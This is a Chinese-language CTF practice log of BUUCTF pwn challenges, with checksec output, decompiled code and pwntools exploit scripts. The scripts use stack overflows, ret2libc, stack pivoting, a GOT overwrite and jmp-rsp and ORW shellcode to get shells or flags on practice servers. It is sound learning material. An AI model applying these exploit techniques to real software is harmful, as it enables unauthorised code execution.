1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *p=remote('node5.buuoj.cn' ,29136 ) context(log_level = 'debug' , arch = 'i386' , os = 'linux' ) gdb.attach(p) pause() payload=b'a' *(0x14 )+p32(0x048087 ) p.sendafter('CTF:' ,payload) stack_addr=u32(p.recv(4 )) print ("stack_addr:" +hex (stack_addr))shellcode = asm(shellcraft.sh()) payload1=flat([b'a' *0x14 ,(stack_addr+0x14 ),shellcode]) p.sendline(payload1) p.interactive()
flag{2e79ebd9-939e-4b66-98a8-6341f3931c7b}
注意:sendafter和sendlineafter的区别
hitcontraining_heapcreator 2024.7.25
日常检查
丢进ida里面看看
堆题。 放着!!
ciscn_2019_n_3 2024.7.26
日常检查
丢进ida里面看一眼,感觉像绕canary的题
有system函数。为什么我这么废啊!!看一道题不会一道!!
堆题 jarvisoj_level5 2024.7.26
日常检查
丢进ida里面
啊啊啊!~
write函数泄露libc基址,read函数溢出 我这种菜逼也只能练练这种简单题了!!
呕吼?64位的架构没见过!
64位函数的的调用过程:
首先将函数调用号传入rax,传参的时候分别是rdi,rsi,rdx
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *from LibcSearcher import *r=remote('node5.buuoj.cn' ,28426 ) elf=ELF('./1111' ) main_addr=0x40061a pop_rdi=0x4006b3 pop_rsi_r15=0x4006b1 ret_addr=0x0000000000400499 write_got=elf.got['write' ] write_plt=elf.plt['write' ] mian_addr=elf.sym['main' ] payload=b'a' *(0x80 +8 )+p64(pop_rdi)+p64(1 )+p64(pop_rsi_r15)+p64(write_got)+p64(8 )+p64(write_plt)+p64(main_addr) r.recvuntil('\n' ) r.sendline(payload) write_addr=u64(r.recv(8 )) libc=LibcSearcher('write' ,write_addr) offset=write_addr-libc.dump('write' ) system=offset+libc.dump('system' ) bin_sh=offset+libc.dump('str_bin_sh' ) payload=b'a' *(0x80 +8 )+p64(ret_addr)+p64(pop_rdi)+p64(bin_sh)+p64(system) r.sendline(payload) r.interactive()
flag{98e08766-b016-4bc5-965f-ff18fcbef3f6}
babyfengshui_33c3_2016 2024.7.28
日常检查
有canary和NX保护,i386扔进ida里面看看
嘶!我是fw。嗯,在看看。放着!!!
pwnable_hacknote 2024.7.28
做到第三面。压力也是上来了
ida
嗯~,跟上面的题型差不多,感觉是一种题型,总结一手,都是开了NX和canary保护
ok。上网搜一手,就怕是堆题
嗯,chunk
简单了解一下吧!!
ciscn_2019_es_7 2024.7.28
日常检查
哇塞!格式化字符串!!
丢进ida里面看一眼
嘶,进去东西很少。
这个倒是第一次见,read函数溢出,但是,plt表里面基本没有啥函数,泄露libc版本是肯定不行的。
猜测是re2csu来做的
上网搜了一手,其实不是。说是SROP
查看学习笔记。
picoctf_2018_got_shell 2024.7.29
日常检查
丢进ida里面看一眼
进去看见,一个明显的后门!
嗯~找找漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 int __cdecl __noreturn main(int argc, const char **argv, const char **envp){ _DWORD *v3; // [esp+14h] [ebp-114h] BYREF int v4; // [esp+18h] [ebp-1 10h] BYREF char s[256 ]; // [esp+1Ch] [ebp-10Ch] BYREF unsigned int v6; // [esp+11Ch] [ebp-Ch] v6 = __readgsdword(0x14u); setvbuf(_bss_start, 0 , 2 , 0 ); puts("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?" ); __isoc99_scanf("%x" , &v3); sprintf(s, "Okay, now what value would you like to write to 0x%x" , v3); puts(s); __isoc99_scanf("%x" , &v4); sprintf(s, "Okay, writing 0x%x to 0x%x" , v4, v3); puts(s); *v3 = v4; puts("Okay, exiting now...\n" ); exit(1 ); }
额,感觉没有啥明显的溢出漏洞。那就只能是格式化字符串吗?
不是格式化字符串也不是堆漏洞
那么我们就可以考虑一下逻辑的漏洞
我们看到v3是一个指针,我们可以向里面写地址(%x是以十六进制读入),然后我们也可以向v4里面写入地址。并且我们可以看到*v3 = v4这个操作。意味着我们可以将我们第二次输入的地址,写入第一次输入的地址中。 是不是想到了什么。.got表
我们看到该语句下面还有puts函数执行,那么我们就可以将v3写成puts got表的地址,将v4写成win函数的地址。这样就可以在调用puts函数时,实际调用 win函数了。
1 2 3 4 5 6 7 8 9 10 11 from pwn import *p=remote('node5.buuoj.cn' ,29116 ) puts_got=elf.got['puts' ] win_addr=0x0804854B p.sendlineafter("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?" , hex (puts_got)) p.recv() p.sendline(hex (win_addr)) p.interactive()
roarctf_2019_easy_pwn 2024.7.30
日常检查
看着像堆题,yes,放着!
堆题 actf_2019_babystack 2024.8.5
日常检查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/actf_2019_babystack$ checksec 111 usage: pwn checksec [-h] [--file [elf ...]] [elf ...] pwn checksec: error: argument elf: can't open ' 111': [Errno 2] No such file or directory: ' 111' llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/actf_2019_babystack$ checksec 1111 [*] ' /home/llq/阿pwn/BUUCTF-pwn/actf_2019_babystack/1111' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/actf_2019_babystack$ chmod +x 1111 llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/actf_2019_babystack$ ./1111 Welcome to ACTF' s babystack!ok How many bytes of your message? >Your message will be saved at 0x7fff6da9a230 What is the content of your message? >Byebye~ llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/actf_2019_babystack$
丢进ida里面看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 __int64 __fastcall main (int a1, char **a2, char **a3) { char s[208 ]; setbuf (stdin, 0LL ); setbuf (stdout, 0LL ); setbuf (stderr, 0LL ); signal (14 , handler); alarm (0x3Cu ); memset (s, 0 , sizeof (s)); puts ("Welcome to ACTF's babystack!" ); sleep (3u ); puts ("How many bytes of your message?" ); putchar (62 );=====================>>> sub_400A1A (); if ( nbytes <= 224 ) { printf ("Your message will be saved at %p\n" , s); puts ("What is the content of your message?" ); putchar (62 ); read (0 , s, nbytes); puts ("Byebye~" ); return 0LL ; } else { puts ("I've checked the boundary!" ); return 1LL ; } }
看了一下好像没怎么找到栈溢出的地方。
嗯~fgets和read函数就可以溢出,但是有长度限制,只余下16字节只能把rbp和返回地址覆盖
栈迁移 利用指令leave指令和ret指令
1 2 3 4 5 6 leave: mov rbp,rsp pop rbp ret: pop rdi
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import *from LibcSearcher import *p=remote('node5.buuoj.cn' ,28677 ) elf=ELF('./1111' ) puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] leave_ret=0x400a18 ret=0x400709 main=0x4008F6 pop_rdi=0x400ad3 ret=0x400709 p.sendlineafter(b'message?' ,b'224' ) p.recvuntil(b'at ' ) rsp=int (p.recv(14 ),16 ) print (rsp)rbp=rsp+0xd0 payload=b'a' *8 +p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) payload=payload.ljust(0xd0 ,b'a' ) payload+=p64(rsp)+p64(leave_ret) p.sendafter(b'your message?' ,payload) puts_addr=u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) print (hex (puts_addr))libc=LibcSearcher('puts' ,puts_addr) libcbase=puts_addr-libc.dump('puts' ) system=libcbase+libc.dump('system' ) binsh=libcbase+libc.dump("str_bin_sh" ) p.sendlineafter(b'message?' ,b'224' ) p.recvuntil(b'at ' ) rsp=int (p.recv(14 ),16 ) print (hex (rsp))rbp=rsp+0xd0 payload=b'a' *8 +p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system) payload=payload.ljust(0xd0 ,b'a' ) payload+=p64(rsp)+p64(leave_ret) p.sendafter(b'your message?' ,payload) p.interactive()
[极客大挑战 2019]Not Bad 2024.8.8
日常检查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/[极客大挑战 2019]Not Bad$ checksec 1111 [*] '/home/llq/阿pwn/BUUCTF-pwn/[极客大挑战 2019]Not Bad/1111' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/[极客大挑战 2019]Not Bad$ chmod +x 1111 llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/[极客大挑战 2019]Not Bad$ ./1111 Easy shellcode, have fun! ok Baddd! Focu5 me! Baddd! Baddd! 错误的系统调用 (核心已转储) llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/[极客大挑战 2019]Not Bad$ ^C
ok,shellcode
丢进ida里面看看
嗯,有个简单的read溢出
1 2 3 4 5 6 7 8 int sub_400A16 () { char buf[32 ]; puts ("Easy shellcode, have fun!" ); read (0 , buf, 56uLL ); return puts ("Baddd! Focu5 me! Baddd! Baddd!" ); }
emmm ~在翻翻就会发现jmp rsp了
1 2 3 4 5 6 7 .text:00000000004009EE ; __unwind { .text:00000000004009EE push rbp .text:00000000004009EF mov rbp, rsp .text:00000000004009F2 mov [rbp+var_4], 0 .text:00000000004009F9 mov [rbp+var_10], 0 .text:0000000000400A01 jmp rsp ; <<<-----------------------------------跳板指令 .text:0000000000400A01 sub_4009EE endp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *p=remote('node5.buuoj.cn' ,28108 ) context(log_level='debug' ,arch='amd64' ,os='linux' ) jump_esp=0x000000000400A01 shellcode = asm(shellcraft.sh()) print (len (shellcode))payload=shellcode.ljust(0x28 ,b'\x00' )+p32(jump_esp) print (len (payload)) p.sendline(payload) p.interactive()
emmm~说实话,还是见的太少了
有一个沙盒过滤说是
首先看一下主函数
1 2 3 4 5 6 7 8 __int64 __fastcall main (int a1, char **a2, char **a3) { mmap (0x123000 , 0x1000uLL , 6 , 34 , -1 , 0LL ); sub_400949 (); sub_400906 (); sub_400A16 (); return 0LL ; }
简单了解一下mmap函数
用户空间映射内存区域的系统调用。
它允许程序员将一个文件或者其他对象映射到进程的地址空间中。使用mmap
可以进行文件映射、设备映射、匿名映射等操作,这使得内存管理更加灵活。
1 void *mmap (void *addr, size_t length, int prot, int flags, int fd, off_t offset) ;
参数说明:
addr
: 指定映射区域的起始地址。如果为NULL
或者0
,则由系统选择映射区域的地址。
length
: 映射区域的长度。
prot
1 2 3 4 5 6 7 8 9 10 **: 映射区域的保护方式,可以是以下几种方式的组合:** - **`PROT_EXEC`: 允许执行。** - **`PROT_READ`: 允许读取。** - **`PROT_WRITE`: 允许写入。** - **`PROT_NONE`: 不允许任何方式的访问。** 4. ``` flags
**: 控制映射区域的特性,常见的标志有:**
- **`MAP_SHARED`: 对映射区域的修改会反映到文件上。**
- **`MAP_PRIVATE`: 对映射区域的修改不会反映到文件上,对文件的修改也不会反映到映射区域。**
- **`MAP_ANONYMOUS`: 匿名映射,不与任何文件关联。**
- **`MAP_FIXED`: 强制使用`addr`指定的地址。**
fd
: 被映射文件的文件描述符。如果是匿名映射,这个值通常是-1
。
offset
: 文件映射的起始位置,通常是文件大小的整数倍。
ok,题目中的意思是:
1 2 3 4 5 6 7 mmap (0x123000 , 0x1000uLL , 6 , 34 , -1 , 0LL );
就是把从0x123000开始的地址,大小为0x1000的长度,权限改为可写可执行
看一下第一个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 __int64 sub_400949 () { __int64 v1; v1 = seccomp_init (0LL ); seccomp_rule_add (v1, 2147418112LL , 0LL , 0LL ); seccomp_rule_add (v1, 2147418112LL , 1LL , 0LL ); seccomp_rule_add (v1, 2147418112LL , 2LL , 0LL ); seccomp_rule_add (v1, 2147418112LL , 60LL , 0LL ); return seccomp_load (v1); }
看一下有哪些函数可以调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/[极客大挑战 2019]Not Bad$ seccomp-tools dump ./1111 line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010 0005: 0x15 0x03 0x00 0x00000000 if (A == read ) goto 0009 0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009 0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009 0008: 0x15 0x00 0x01 0x0000003c if (A != exit ) goto 0010 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x06 0x00 0x00 0x00000000 return KILL llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/[极客大挑战 2019]Not Bad$
这里提示的就跟明显了 就ORW了
ORW 第二个函数就是
1 2 3 4 5 6 7 void sub_400906 () { setbuf (stdin, 0LL ); setbuf (stdout, 0LL ); setbuf (stderr, 0LL ); }
1 2 3 4 5 mmap=0x123000 orw_payload=shellcraft.open ('./flag' ) orw_payload+=shellcraft.read(3 ,mmap,0x50 ) orw_payload+=shellcraft.write(1 ,mmap,0x50 )
下来写一下buf里的rop攻击链 buf里的rop攻击链要完成的任务是往mmap里写入orw_payload,让程序跳转到mmap去执行orw_payload,确定目的后开始写rop攻击链
1 payload=asm(shellcraft.read(0 ,mmap,0x100 ))+asm('mov rax,0x123000;call rax' )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *context.arch='amd64' elf = ELF('./bad' ) p = remote('node5.buuoj.cn' ,27472 ) mmap=0x123000 orw_payload = shellcraft.open ("./flag" ) orw_payload += shellcraft.read(3 , mmap, 0x50 ) orw_payload += shellcraft.write(1 , mmap,0x50 ) jmp_rsp=0x400A01 payload=asm(shellcraft.read(0 ,mmap,0x100 ))+asm('mov rax,0x123000;call rax' ) payload=payload.ljust(0x28 ,'\x00' ) payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp' ) p.recvuntil('Easy shellcode, have fun!' ) p.sendline(payload) shellcode=asm(orw_payload) p.sendline(shellcode) p.interactive()
一知半解的情况
ciscn_2019_es_1 2024.8.8
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/ciscn_2019_es_1$ checksec 1111 [*] '/home/llq/阿pwn/BUUCTF-pwn/ciscn_2019_es_1/1111' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/ciscn_2019_es_1$ chmod +x 1111 llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/ciscn_2019_es_1$ ./1111 I hate 2.29 , can you understand me? maybe you know the new libc ====================== How are you ~~~~ By the way,i don't want 996 ! 1.Add a 996 info 2.Show info 3.Call that 996 compary! 4.I hate 996! choice:r Wrong ====================== How are you ~~~~ By the way,i don' t want 996 !1.Add a 996 info 2.Show info 3.Call that 996 compary! 4.I hate 996! choice:^C llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/ciscn_2019_es_1$
嘶!看上去像
堆题 yes!!
先放着!!!!!!!
picoctf_2018_leak_me 2024.8.10
1 2 3 4 5 6 7 8 9 10 11 12 13 llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/picoctf_2018_leak_me$ checksec 1111 [*] '/home/llq/阿pwn/BUUCTF-pwn/picoctf_2018_leak_me/1111' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/picoctf_2018_leak_me$ chmod +x 1111 llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/picoctf_2018_leak_me$ ./1111 What is your name? aaaa Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server. llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/picoctf_2018_leak_me$
丢进ida里面看看
看见了后门说是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 int __cdecl main (int argc, const char **argv, const char **envp) { char s1[64 ]; char v5[256 ]; char s[64 ]; FILE *stream; char *v8; __gid_t v9; int *p_argc; p_argc = &argc; setvbuf (stdout, 0 , 2 , 0 ); v9 = getegid (); setresgid (v9, v9, v9); memset (s, 0 , sizeof (s)); memset (v5, 0 , sizeof (v5)); memset (s1, 0 , sizeof (s1)); puts ("What is your name?" ); fgets (v5, 256 , stdin); v8 = strchr (v5, 10 ); if ( v8 ) *v8 = 0 ; strcat (v5, ",\nPlease Enter the Password." ); stream = fopen ("password.txt" , "r" ); if ( !stream ) { puts ( "Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server." ); exit (0 ); } fgets (s, 64 , stream); printf ("Hello " ); puts (v5); fgets (s1, 64 , stdin); v5[0 ] = 0 ; if ( !strcmp (s1, s) ) flag (p_argc); else puts ("Incorrect Password!" ); return 0 ; }
分析一下主函数
嗯我们要的也很简单就是满足条件就可以执行flag(p_argc)函数就行了
但是呢,这个第一个条件都过不去
1 2 3 4 5 6 7 8 9 stream = fopen ("password.txt" , "r" ); if ( !stream ){ puts ( "Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server." ); exit (0 ); }
ok,绕过第一个
再看后面的好像就是
只要满足
就行了,再看一手,这两都是自己输进去的想着,这不就结束了?
结果仔细看一下第一个输入
示例 假设 stream 是一个指向包含以下内容的文件的指针:
并且你使用 fgets(s, 64, stream); 来读取第一行:
执行结果:s 将包含 “Hello, World!\n”,因为这是文件中的第一行,包括换行符 \n。 缓冲区内容:s 缓冲区将包含字符串 “Hello, World!\n”,并以空字符 ‘\0’ 结束。 总结: fgets(s, 64, stream); 读取文件 stream 中的内容到字符串 s 中,最多读取 63 个字符或者遇到换行符时停止。这是一个安全的读取函数,适合用来处理不确定长度的文本输入或文件读取。
ok,这回明白了,我们往我们创建的那个文件里输入
当我在第三个输入的时候输入aaaa应该就可以执行了
为啥输出的是
1 puts ("Incorrect Password!" );
脚本跑一下看看
1 2 3 4 5 6 7 8 9 from pwn import *r=remote('node5.buuoj.cn' ,29631 ) r.sendlineafter('What is your name?' ,'yt' ) r.recvuntil('\nPlease Enter the Password.' ) r.send('aaaa' ) r.interactive()
打通了但是没flag
ok,看见了flag函数里面也得接一段
也不用接
看了一手wp,我就是sb
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *p = remote("node5.buuoj.cn" ,29631 ) password = "a_reAllY_s3cuRe_p4s$word_f85406" p.sendlineafter("What is your name?\n" ,"A" ) p.sendlineafter("Please Enter the Password.\n" ,password) p.interactive()
1 2 3 4 5 6 7 8 9 10 from pwn import *r=remote('node5.buuoj.cn' ,26775 ) r.recvuntil('What is your name?\n' ) r.sendline('yt' ) r.recvuntil('Please Enter the Password.\n' ) password='a_reAllY_s3cuRe_p4s$word_f85406' r.sendline(password) r.interactive()
suctf_2018_basic pwn 2024.8.12
1 2 3 4 5 6 7 8 9 10 11 12 13 14 llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/suctf_2018_basic pwn$ checksec 1111 [*] '/home/llq/阿pwn/BUUCTF-pwn/suctf_2018_basic pwn/1111' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/suctf_2018_basic pwn$ chmod +x 1111 llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/suctf_2018_basic pwn$ ./1111 aaa Hi aaa llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/suctf_2018_basic pwn$ ^C llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/suctf_2018_basic pwn$
地址随机化和NX都开了
丢进ida里面看看
看见了后门好像
1 2 3 4 5 6 7 8 9 int callThisFun(void){ char *path[4 ]; // [rsp+0h] [rbp-20h] BYREF path[0 ] = "/bin/cat" ; path[1 ] = "flag.txt" ; path[2 ] = 0LL; return execve("/bin/cat" , path, 0LL); }
漏洞没发现
还开了随机化,那怎么溢出呢?
操了,relro是意思把got表变为只读,并不是地址随机化
地址随机化是pie
所以说就是正常的后门是这个意思吗?
1 2 3 4 5 from pwn import *p=remote('node5.buuoj.cn' , 27950 ) payload=b'A' *(0x120 +8 )+p64(0x000000000401157 ) p.sendline(payload) p.interactive()
cmcc_pwnme1 2024.8.13
日常检查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/cmcc_pwnme1$ checksec 1111 [*] '/home/llq/阿pwn/BUUCTF-pwn/cmcc_pwnme1/1111' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/cmcc_pwnme1$ chmod +x 1111 llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/cmcc_pwnme1$ ./1111 Welcome ok...here is a question: which fruit do you like ? Please input your choice: >> 1.Apple >> 2.Pear >> 3.Balana >> 4.Peach >> 5.All not? Input the name ? >> 6. Exit
ok。丢进ida里面看看
栈溢出?
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *p=remote('node5.buuoj.cn' , 27962 ) p.recvuntil('\n' ) p.sendline('5' ) p.recvuntil('Please input the name of fruit:' ) payload=b'A' *(0xa4 +4 )+p64(0x08048677 ) p.sendline(payload) p.interactive()
跑不通
1 2 3 4 5 6 7 8 9 10 11 oh,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAw\x86\x0... [DEBUG] Received 0x3a bytes: b'Yeah, you got it...\n' b'/home/flag: No such file or directory\n' Yeah, you got it... /home/flag: No such file or directory [DEBUG] Received 0x2b bytes: b'timeout: the monitored command dumped core\n' timeout : the monitored command dumped core[*] Got EOF while reading in interactive $
肯定没那么简单的拉
是个假后门拉
ret2libc这么做的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *from LibcSearcher import *p=remote('node5.buuoj.cn' , 27962 ) elf = ELF('./1111' ) puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] main=elf.sym['main' ] p.recvuntil('Exit' ) p.sendline('5' ) p.recvuntil('Please input the name of fruit:' ) payload=b'a' *(0xa4 +4 )+p32(puts_plt)+p32(main)+p32(puts_got) p.sendline(payload) puts_addr=u32(p.recvuntil(b'\xf7' )[-4 :]) libc=LibcSearcher('puts' ,puts_addr) offset=puts_addr-libc.dump('puts' ) system_addr=offset+libc.dump('system' ) bin_addr=offset+libc.dump('str_bin_sh' ) p.recvuntil('Exit' ) p.sendline('5' ) p.recvuntil('Please input the name of fruit:' ) payload=b'a' *(0xa4 +4 )+p32(system_addr)+p32(0 )+p32(bin_addr) p.sendline(payload) p.interactive()
wustctf2020_easyfast 2024.8.13
日常检查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/wustctf2020_easyfast$ checksec 1111 [*] '/home/llq/阿pwn/BUUCTF-pwn/wustctf2020_easyfast/1111' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/wustctf2020_easyfast$ chmod +x 1111 llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/wustctf2020_easyfast$ ./1111 __ ___ ______ ___ / |/ /__ /_ __/__< /_ __ / /|_/ / _ `// / / __/ /\ \ / /_/ /_/\_,_//_/ /_/ /_//_\_\ choice> a
丢进ida里面看看
emmmmm~怎么说
直接进行栈溢出?
1 2 3 4 5 6 7 8 9 10 11 from pwn import *p=remote('node5.buuoj.cn' , 27962 ) p.recvuntil('choice>' ) payload=b'A' *(0x20 +8 )+p64(0x00400896 ) p.sendline(payload) p.interactive()
堆题 ,我说溢半天不对
☝️🤓
cmcc_pwnme2 2024.8.13
日常检查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/cmcc_pwnme2$ checksec 1111 [*] '/home/llq/阿pwn/BUUCTF-pwn/cmcc_pwnme2/1111' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/cmcc_pwnme2$ chmod +x 1111 llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/cmcc_pwnme2$ ./1111 Welcome Please input: 1 Hello, 1 llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/cmcc_pwnme2$
看着应该不难
丢进ida里面看看
漏洞是一眼就看见了gets函数
没怎么找到溢出点
wdf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *p = remote('node5.buuoj.cn' ,25820 ) elf=ELF('./pwnme2' ) exec_string=0x080485cb string=0x0804a060 gets=elf.sym['gets' ] p.recvuntil('Please input:\n' ) payload='a' *(0x6c +4 )+p32(gets)+p32(exec_string)+p32(string) p.sendline(payload) p.sendline('flag' ) p.interactive()
不到为什么连不上远程
前天BUUCTF的问题应该是
mrctf2020_easy_equation 2024.8.15
日常检查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/mrctf2020_easy_equation$ checksec 1111 [*] '/home/llq/阿pwn/BUUCTF-pwn/mrctf2020_easy_equation/1111' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/mrctf2020_easy_equation$ chmod +x 1111 llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/mrctf2020_easy_equation$ ./1111 ok ok 段错误 (核心已转储) llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/mrctf2020_easy_equation$ ^C
ok
丢进ida里面
进去一眼大开门
1 2 3 4 5 6 7 8 9 10 11 int __fastcall main (int argc, const char **argv, const char **envp) { char s; memset (&s, 0 , 0x400uLL ); fgets (&s, 1023 , stdin); printf (&s); if ( 11 * judge * judge + 17 * judge * judge * judge * judge - 13 * judge * judge * judge - 7 * judge == 198 ) system ("exec /bin/sh" ); return 0 ; }
直接溢出呢还是,满足条件呢
直接溢出一下看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import * p = remote ('node5.buuoj.cn' ,28402 ) elf=ELF ('./1111' ) #p.recvuntil('Please input:\n' ) pop_rdi=0x0000000000400753 bin_sh_addr=0x000000000400774 system_addr=0x0004004E0 payload=b'a' *(0x1 +8 )+p64 (pop_rdi)+p64 (bin_sh_addr)+p64 (system_addr) p.sendline (payload) #p.sendline('flag' ) p.interactive ()
直接ROP就行
emmmm~s的栈空间只有一位
怎么说呢?
刚开始没想到是直接ROP
格式化字符串 也能做
1 2 if ( 11 * judge * judge + 17 * judge * judge * judge * judge - 13 * judge * judge * judge - 7 * judge == 198 ) system ("exec /bin/sh" );
满足条件的话就是judge为2,就可以进行执行了
但是这个2怎么写入是一个问题
虽然说是judge在bss段上。但是怎么写入进去确实应该问题
格式化字符串也是很明显的
格式化字符串的一道题。首先是找偏移的对吧
还是老办法
%p打印地址
1 2 3 4 5 6 llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/mrctf2020_easy_equation$ ./1111 baaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p baaa-0x23e12a1-0xfbad2288-0x23e12e1-(nil)-0x23e12a0-(nil)-0x6200000000000000-0x252d70252d616161-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0xa70252d70252d70-(nil)-(nil)-(nil)-(nil)-(nil) 段错误 (核心已转储) llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/mrctf2020_easy_equation$
看着是不行
看一手wp
他们是用这个填充的
1 %0 8x 表示以十六进制形式输出一个整数,并且输出的总长度为8 位,不足部分用零填充。
aaaaa-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x
